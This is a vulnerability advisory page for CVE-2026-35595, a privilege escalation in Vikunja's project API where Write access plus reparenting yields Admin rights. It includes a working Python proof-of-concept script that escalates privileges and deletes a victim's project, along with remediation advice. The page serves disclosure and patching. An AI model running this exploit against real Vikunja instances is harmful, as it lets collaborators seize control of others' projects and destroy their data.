Skip to main content

Python CVE-2026-35595

| EUVDEUVD-2026-21418 HIGH
Improper Privilege Management (CWE-269)
2026-04-10 https://github.com/go-vikunja/vikunja GHSA-2vq4-854f-5c72
8.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.3 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Lifecycle Timeline

5
Re-analysis Queued
Apr 17, 2026 - 22:07 vuln.today
cvss_changed
EUVD ID Assigned
Apr 10, 2026 - 16:00 euvd
EUVD-2026-21418
Analysis Generated
Apr 10, 2026 - 16:00 vuln.today
Patch released
Apr 10, 2026 - 16:00 nvd
Patch available
CVE Published
Apr 10, 2026 - 15:33 nvd
HIGH 8.3

DescriptionGitHub Advisory

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.
python
import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()
# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
            json={"username": "attacker", "permission": 1})
# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
                    json={"title": "Attacker Root"}).json()
# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")
# 403
# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
                json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")
# 200
# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")
# 200 - escalated to Admin
# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")
# 404 - project gone

Output:

DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parent_project_id:

go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}

--- *Found and reported by aisafe.io*

AnalysisAI

Privilege escalation in Vikunja API (v2.2.2 and prior) allows authenticated users with Write permission on a shared project to escalate to Admin by reparenting the project under their own hierarchy. The vulnerability exploits insufficient authorization checks in project reparenting (CanWrite instead of IsAdmin), causing the recursive permission CTE to grant Admin rights. Attackers can then delete projects, remove user access, and manage sharing settings. Publicly available exploit code exists.

Technical ContextAI

Inadequate authorization in pkg/models/project_permissions.go:139-148 checks only CanWrite when updating parent_project_id. Recursive CTE permission resolution inherits ownership from new parent, granting Admin (level 2) on moved project. Root cause: CWE-269 (Improper Privilege Management) - reparenting operation changes permission inheritance chain without validating Admin rights on both source and destination projects.

RemediationAI

Vendor-released patch: upgrade to Vikunja v2.3.0 or later, which enforces Admin permission checks on both source and destination projects before allowing parent_project_id changes (commit c03d682f48aff890eeb3c8b41d38226069722827, PR #2583). For environments unable to upgrade immediately: restrict Write permissions on shared projects to trusted users only, audit existing project hierarchies for unauthorized reparenting, and monitor API logs for POST requests to /api/v1/projects/{id} with parent_project_id field modifications. Official advisory with full technical details available at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72. Release notes: https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-35595 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy